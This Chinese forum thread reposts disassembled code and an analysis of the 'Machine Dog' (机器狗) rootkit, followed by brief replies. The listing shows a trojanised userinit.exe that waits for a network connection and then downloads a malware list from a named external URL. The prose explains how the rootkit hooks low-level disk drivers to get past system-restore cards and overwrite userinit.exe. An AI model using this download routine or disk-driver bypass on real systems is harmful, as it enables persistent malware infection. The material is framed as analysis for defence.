发新话题
打印

机器狗病毒入侵源码

机器狗病毒入侵源码

0040045A > $  55              push ebp                          ;  (初始 cpu 选择)
0040045B  .  8BEC            mov ebp,esp   
0040045D  .  81C4 E8FEFFFF      add esp,-118
00400463  .  68 9C0A4000        push userinit.00400A9C                  ; /user32.dll   
00400468  .  E8 55020000        call <jmp.&kernel32.LoadLibraryA>          ; \LoadLibraryA
0040046D  .  0BC0            or eax,eax  
0040046F  .  74 11            je short userinit.00400482
00400471  .  68 A70A4000        push userinit.00400AA7                  ; /loadremotefonts   
00400476  .  50              push eax                          ; |hModule
00400477  .  E8 34020000        call <jmp.&kernel32.GetProcAddress>        ; \GetProcAddress  
0040047C  .  0BC0            or eax,eax
0040047E  .  74 02            je short userinit.00400482   
00400480  .  FFD0            call eax                          ;  USER32.LoadRemoteFonts   
00400482  >  8D45 FC          lea eax,dword ptr ss:[ebp-4]  
00400485  .  50              push eax                          ; /pHandle  
00400486  .  68 19000200        push 20019                          ; |Access = KEY_READ   
0040048B  .  6A 00            push 0                            ; |Reserved = 0
0040048D  .  68 B70A4000        push userinit.00400AB7                  ; |software\microsoft\windows nt\currentversion\winlogon  
00400492  .  68 02000080        push 80000002                        ; |hKey = HKEY_LOCAL_MACHINE  
00400497  .  E8 5C020000        call <jmp.&advapi32.RegOpenKeyExA>          ; \RegOpenKeyExA  
0040049C  .  0BC0            or eax,eax                          //打开注册表检测winlogon键值  
0040049E  .  75 48            jnz short userinit.004004E8
004004A0  .  C745 F8 04010000    mov dword ptr ss:[ebp-8],104   
004004A7  .  68 04010000        push 104                          ; /Length = 104 (260.)  
004004AC  .  8D85 F4FEFFFF      lea eax,dword ptr ss:[ebp-10C]            ; |
004004B2  .  50              push eax                          ; |Destination   
004004B3  .  E8 16020000        call <jmp.&kernel32.RtlZeroMemory>          ; \RtlZeroMemory
004004B8  .  8D45 F8          lea eax,dword ptr ss:[ebp-8]
004004BB  .  50              push eax                          ; /pBufSize  
004004BC  .  8D85 F4FEFFFF      lea eax,dword ptr ss:[ebp-10C]            ; |  
004004C2  .  50              push eax                          ; |Buffer Iu  
004004C3  .  6A 00            push 0                            ; |pValueType = NULL  
004004C5  .  6A 00            push 0                            ; |Reserved = NULL  
004004C7  .  68 960A4000        push userinit.00400A96                  ; |shell   
004004CC  .  FF75 FC          push dword ptr ss:[ebp-4]                ; |hKey  
004004CF  .  E8 2A020000        call <jmp.&advapi32.RegQueryValueExA>        ; \RegQueryValueExA
004004D4  .  8D85 F4FEFFFF      lea eax,dword ptr ss:[ebp-10C]
004004DA  .  50              push eax                          ; /Arg1  
004004DB  .  E8 50FDFFFF        call userinit.00400230                  ; \userinit.00400230  CreateProcessA  
004004E0  .  FF75 FC          push dword ptr ss:[ebp-4]                ; /hKey   
004004E3  .  E8 0A020000        call <jmp.&advapi32.RegCloseKey>          ; \RegCloseKey   
004004E8  >  68 E8030000        push 3E8                          ; /Timeout = 1000. ms  
004004ED  .  E8 E8010000        call <jmp.&kernel32.Sleep>              ; \Sleep   
004004F2  .  6A 00            push 0
004004F4  .  8D45 F8          lea eax,dword ptr ss:[ebp-8]   
004004F7  .  50              push eax  &1Fcwj  
004004F8  .  E8 13020000        call <jmp.&wininet.InternetGetConnectedState>      ;看网络是否连接  
004004FD  .  0BC0            or eax,eax (W/jkm  
004004FF  .  75 02            jnz short userinit.00400503 
00400501  .^ EB E5            jmp short userinit.004004E8
00400503  >  68 04010000        push 104                          ; /Length = 104 (260.)  
00400508  .  8D85 F4FEFFFF      lea eax,dword ptr ss:[ebp-10C]            ; |
0040050E  .  50              push eax                          ; |Destination  
0040050F  .  E8 BA010000        call <jmp.&kernel32.RtlZeroMemory>          ; \RtlZeroMemory \>=YxB q  
00400514  .  8D85 F4FEFFFF      lea eax,dword ptr ss:[ebp-10C]  
0040051A  .  50              push eax                          ; /TempName  
0040051B  .  6A 00            push 0                            ; |Unique = 0  
0040051D  .  6A 00            push 0                            ; |Prefix = NULL  
0040051F  .  68 940A4000        push userinit.00400A94                  ; |.   
00400524  .  E8 93010000        call <jmp.&kernel32.GetTempFileNameA>        ; \GetTempFileNameA          ;生成下载病毒列表得文件名 
00400529  >  68 E8030000        push 3E8                          ; /Timeout = 1000. ms  
0040052E  .  E8 A7010000        call <jmp.&kernel32.Sleep>              ; \Sleep
00400533  .  68 88130000        push 1388                          ; /Arg3 = 00001388  
00400538  .  8D85 F4FEFFFF      lea eax,dword ptr ss:[ebp-10C]            ; | 
0040053E  .  50              push eax                          ; |Arg2
0040053F  .  68 ED0A4000        push userinit.00400AED                  ; |http://2.joppnqq.com/test.cer          ;病毒列表  
00400544  .  E8 2CFDFFFF        call userinit.00400275                  ; \userinit.00400275  ;里面事下载并读取病毒列表下载病毒~  
00400549  .  0BC0            or eax,eax  
0040054B  .  0F84 17010000      je userinit.00400668
00400551  .  C705 900A4000 00000000 mov dword ptr ds:[400A90],0  
0040055B  .  6A 00            push 0                            ; /hTemplateFile = NULL   
0040055D  .  6A 00            push 0                            ; |Attributes = 0   
0040055F  .  6A 03            push 3                            ; |Mode = OPEN_EXISTING
00400561  .  6A 00            push 0                            ; |pSecurity = NULL
00400563  .  6A 00            push 0                            ; |ShareMode = 0
00400565  .  68 00000080        push 80000000                        ; |Access = GENERIC_READ  
0040056A  .  8D85 F4FEFFFF      lea eax,dword ptr ss:[ebp-10C]            ; |
00400570  .  50              push eax                          ; |FileName  
00400571  .  E8 16010000        call <jmp.&kernel32.CreateFileA>          ; \CreateFileA  
00400576  .  83F8 FF          cmp eax,-1  
00400579  .  0F84 E2000000      je userinit.00400661   
0040057F  .  8985 F0FEFFFF      mov dword ptr ss:[ebp-110],eax   
00400585  .  6A 00            push 0                            ; /pFileSizeHigh = NULL   
00400587  .  FFB5 F0FEFFFF      push dword ptr ss:[ebp-110]              ; |hFile  
0040058D  .  E8 18010000        call <jmp.&kernel32.GetFileSize>          ; \GetFileSize
00400592  .  83F8 0F          cmp eax,0F N#['fg'  
00400595  .  73 0D            jnb short userinit.004005A4 {2k<k(,  
00400597  .  FFB5 F0FEFFFF      push dword ptr ss:[ebp-110]              ; /hObject
0040059D  .  E8 E4000000        call <jmp.&kernel32.CloseHandle>          ; \CloseHandle
................................................................................................
00400676  .  6A 64            push 64                            ; /Timeout = 100. ms
00400678  .  E8 5D000000        call <jmp.&kernel32.Sleep>              ; \Sleep
0040067D  .^ EB EE            jmp short userinit.0040066D  
0040067F  >  6A 00            push 0                            ; /ExitCode = 0  
00400681  .  E8 1E000000        call <jmp.&kernel32.ExitProcess>          ; \ExitProcess   
很精典呀,里面涉及到了在汇编下如何操作注册表,从指定网址下载文件到临时文件第三节:机器狗病毒入侵原理 机器狗原理:  
建立磁盘底层驱动。
1.校验IDT的NPXSegment Overrun(09)和Page Fault(OE)的矢量地址,如果存在,则把高16位设置为0,这个过程和还原软件的原理是一样的,就是对OE的HOOK检验。
2.给自己找个位置,查找驱动资源中的1000/1000,然后COPY到ALLOVER缓冲区中。
3.建立物理磁盘PhysicalHardDISK0的\Device----DosDevices的底层借口,针对“IRP_MJ_CREATE”“IRP_MJ_CLOSE”“IRP_MJ_DEVICE_CONTROL”响应。“IRP_MJ_CREATE”断开\Device\Harddisk0\DR0-1上的附属部件。从而使磁盘OS层提供的应用层文件系统鉴听校验失效。
然后通过“I_M_C ”中恢复DR0-1上的附加。并在I_M_D_C中对0x0004f8E——0xF0003C0F作出响应,把ALLOVER缓冲区中找到的数据解密并返回应用层。通过KEY-s查表产生密钥。0x0004f8E——0xF0003C0F字段会将用户态代码作为源基,对其运算后得到字串KEY,用来对源驱动解密后,反还给用户层。  
在这个过程中,有个大家比较熟悉的截面,就是系统由于磁盘底层驱动校验不成功而出现的蓝屏截面,最常见的是初始值0x0004f8E,比如,早期的SATAⅠ在保护卡状态下出现物理坏道(0%—1%),就是这个蓝屏代码。很多由于用户态的软件安装不当,引起的蓝屏也出现在这一区段中。在解除DR0-1上的附属部件时,出现逻辑性错误就导致大家常见的中机器狗后的蓝屏。多见于多处理器平台。一般的PC是不会出现这个错误的,也就是说,大多数中招后都能正常使用,就是木马多多,呵呵。 fUp|3bBE  
继续正题,以上过程反映到IE上是这样的:1.释放底层驱动程序(比如变种前的PCIHDD.SYS)或者高位数用户态临时驱动(变种后,可以有可执行程序引导,如“Usrinit.exe”)
2.定位WINDOWS系统中的userinit.exe。(通过MBR和第一引导扇区参数来定位文件磁盘矢量偏移。)
3.并校验RF文件与地位后读取的数据位置的正确性。
4.将获取的代码参数返回给底层驱动,控制0x0004f8E——0xF0003C0F段为,最后将返回值(TQ)直接写入userinit.exe数据所在的第一蔟。这里要大家特别注意以下,通过用户态的shell调用,作者只需一点变动,就可以随即抓取用户态引导文件,所以,目前的该名设权限都是没用的。
甚至,他可以把这个过程省略,象净网先锋那样,把Shell进程写入动态连接库。那么,还原就没用了。还会带来网络负载问题,可能是作者比较仁慈吧。  
好了,分析了以上的过程,解决的办法就出来了,就是要通过对操作系统的内核编译,将他所定位的目的地址占据,这样,除非是格式化,否则,任何操作的不会在底层夺取该位置。(不要问权限问题,在底层是没有这个说法的,先入为主。)
这篇是讲得比较专业点儿的,基本上把机器狗如何在底层获取控制权限过程都讲解了。
夹并启动运行,以及如何调用系统级动态 之前看到的希望对大家有用。

TOP

你小子怎么搞起编程了?

TOP

看到了!就发了过来!

TOP

新来的,请多指教=。= 。怎么是汇编语言,有点头晕

TOP

发新话题